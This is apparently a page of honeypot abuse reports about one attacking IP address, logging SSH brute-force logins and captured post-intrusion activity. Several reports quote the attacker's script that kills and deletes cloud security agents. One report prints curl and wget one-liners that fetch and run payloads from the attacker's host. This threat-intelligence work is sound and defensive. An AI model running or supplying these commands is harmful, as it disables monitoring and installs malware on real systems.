🇺🇸
slish
2026-04-12 21:56:45
(3 months ago)
SSH honeypot: ssh_auth
Brute-Force
SSH
🇫🇮
misfit
2026-03-24 13:37:04
(4 months ago)
SSH brute-force (1 attempts). Org: AS201670 S.C. INFOTECH-GRUP S.R.L., Chisinau, MD.
Brute-Force
SSH
🇩🇪
AnonDrop
2026-03-19 21:47:51
(4 months ago)
Malware download/execution attempt - Commands: #!/bin/sh
wdir="/tmp"
for i in "/tmp" "/var/tmp" "/d ...
show more
Malware download/execution attempt - Commands: #!/bin/sh
wdir="/tmp"
for i in "/tmp" "/var/tmp" "/dev/shm" "/usr" "/bin" "/home" "/root"; do
if [ -w "$i" ]; then
wdir="$i"
break
fi
done
cd "$wdir" || exit 1
systemctl stop aegis >/dev/null 2>&1
systemctl disable aegis >/dev/null 2>&1
systemctl stop aliyun >/dev/null 2>&1
systemctl disable aliyun >/dev/null 2>&1
systemctl mask aegis >/dev/null 2>&1
systemctl mask aliyun >/dev/null 2>&1
systemctl daemon-reload
if command -v chattr >/dev/null 2>&1; then
chattr -R -i -a /usr/local/aegis/ >/dev/null 2>&1
fi
pkill -9 AliYunDun >/dev/null 2>&1
pkill -9 AliYunDunMonitor >/dev/null 2>&1
pkill -9 aegis_update >/dev/null 2>&1
pkill -9 CmsGoAgent >/dev/null 2>&1
rm -rf /usr/local/aegis >/dev/null 2>&1
rm -rf /etc/init.d/aegis >/dev/null 2>&1
mkdir -p /usr/local/aegis
if command -v chattr >/dev/null 2>&1; then
chattr +i /usr/local/aegis
fi
systemctl stop YDService >/dev/null 2>&1
systemctl disable YDService >/dev/null ...
show less
Hacking
🇵🇱
zorin
2026-03-19 19:02:46
(4 months ago)
SSH brute-force attack on honeypot (OpenSSH 8.4p1). Usernames tried: root. Port: 22.
Brute-Force
SSH
🇰🇷
forgeban
2026-03-01 16:07:43
(4 months ago)
Session Report (UTC: 2026-03-01T16:07:43.031Z)
Session Duration: 2026-03-01T16:07:19.014Z - 2026-03- ...
show more
Session Report (UTC: 2026-03-01T16:07:43.031Z)
Session Duration: 2026-03-01T16:07:19.014Z - 2026-03-01T16:07:43.031Z
Client: SSH-2.0-PUTTY
Source Port: 56732
Activities:
- no_auth
- Login attempt - User: root (SUCCESS)
- connection
- debug_channel
- session
- debug_channel_request
- PTY requested (80x24)
- debug_channel_request
- Command executed: #!/bin/sh
wdir="/tmp"
for i in "/tmp" "/var/tmp" "/dev/shm" "/usr" "/bin" "/home" "/root"; do
if [ -w "$i" ]; then
wdir="$i"
break
fi
done
cd "$wdir" || exit 1
systemctl stop YDService >/dev/null 2>&1
systemctl disable YDService >/dev/null 2>&1
systemctl stop tat_agent >/dev/null 2>&1
systemctl disable tat_agent >/dev/null 2>&1
systemctl mask YDService >/dev/null 2>&1
systemctl mask tat_agent >/dev/null 2>&1
systemctl daemon-reload
if command -v chattr >/dev/null 2>&1; then
chattr -R -i -a /usr/local/qcloud/ >/dev/null 2>&1
fi
pkill -9 YDService >/dev/null 2>&1
pkill -9 YDLive >/dev/null 2>&1
rm -rf /usr/local/qcloud/YunJing
show less
Hacking
Brute-Force
SSH
🇨🇳
ThreatBook.io
2026-02-28 00:46:29
(4 months ago)
ThreatBook Intelligence: Dynamic IP more details on http://threatbook.io/ip/195.20.19.212
SSH
🇺🇸
psh-ack
2026-02-26 23:14:02
(4 months ago)
Single SSH session using default root credentials from PuTTY client executing shell commands to iden ...
show more
Single SSH session using default root credentials from PuTTY client executing shell commands to identify writable directories and check for an existing process identifier file, followed by a firewall disable attempt, consistent with early-stage reconnaissance and system persistence activity.
show less
Brute-Force
SSH
2026-02-20 13:13:03
(5 months ago)
Found exploit upload in honeypot:
curl hxxp://195.20.19.212/p.txt -o ygljglkjgfg0; chmod +x ygljglk ...
show more
Found exploit upload in honeypot:
curl hxxp://195.20.19.212/p.txt -o ygljglkjgfg0; chmod +x ygljglkjgfg0; ./ygljglkjgfg0;
curl hxxp://195.20.19.212/r.txt -o sdf3fslsdf15; chmod +x sdf3fslsdf15; ./sdf3fslsdf15; sleep 2; mv /usr/bin/
wget hxxp://195.20.19.212/p.txt -O ygljglkjgfg1; chmod +x ygljglkjgfg1; ./ygljglkjgfg1; good hxxp://195.20.19.212/p.txt -O ygljglkjgfg2; chmod +x ygljglkjgfg2; ./ygljglkjgfg2; sleep 2;
wget hxxp://195.20.19.212/r.txt -O sdf3fslsdf13; chmod +x sdf3fslsdf13; ./sdf3fslsdf13; good hxxp://195.20.19.212/r.txt -O sdf3fslsdf14; chmod +x sdf3fslsdf14; ./sdf3fslsdf14;
show less
Exploited Host
Hacking
🇺🇸
rjdefrancisco
2026-02-20 08:08:37
(5 months ago)
Unwanted traffic detected by honeypot on February 19, 2026: brute force and hacking attacks (1 over ...
show more
Unwanted traffic detected by honeypot on February 19, 2026: brute force and hacking attacks (1 over ssh).
show less
Port Scan
Brute-Force
SSH
🇺🇸
anon333
2026-02-19 11:33:51
(5 months ago)
Hacker syslog review 1771500830
Hacking
🇺🇸
Execoop
2026-02-19 09:24:30
(5 months ago)
SSH honeypot | Malware Delivery | 1 auths, 2 cmds, 2s | putty | tactics: remote file download | URLs ...
show more
SSH honeypot | Malware Delivery | 1 auths, 2 cmds, 2s | putty | tactics: remote file download | URLs: hxxp://195[.]20[.]19[.]212/p[.]txt, hxxp://195[.]20[.]19[.]212/r[.]txt
show less
Hacking
Exploited Host
SSH
🇺🇸
heyzg
2026-02-19 09:11:36
(5 months ago)
SSH honeypot | Malware Delivery | 1 auths, 2 cmds, 13s | putty | tactics: remote file download | URL ...
show more
SSH honeypot | Malware Delivery | 1 auths, 2 cmds, 13s | putty | tactics: remote file download | URLs: hxxp://195[.]20[.]19[.]212/p[.]txt, hxxp://195[.]20[.]19[.]212/r[.]txt
show less
Hacking
Exploited Host
SSH
🇺🇸
avixk
2026-02-19 09:06:14
(5 months ago)
Cowrie Honeypot: Unauthorised SSH/Telnet login attempt with user "root" at 2026-02-19T09:06:13Z
Brute-Force
SSH
🇺🇸
lukascomer
2026-02-19 08:42:23
(5 months ago)
Cowrie Honeypot: Unauthorised SSH/Telnet login attempt with user "root" at 2026-02-19T08:42:23Z
Brute-Force
SSH
🇺🇸
jdellamorte
2026-02-19 04:22:59
(5 months ago)
SSH honeypot (Cowrie) attack detected. // Attack phases: malware deployment, malware drop. // HASSH: ...
show more
SSH honeypot (Cowrie) attack detected. // Attack phases: malware deployment, malware drop. // HASSH: 57446c12547a668110aa237e5965e374 // SSH client: SSH-2.0-PUTTY // Auth: 1 attempts (1 success, 0 failed). // Creds: root/P@55w0rd! // Post-exploit: wdir="/bin"
show less
Brute-Force
SSH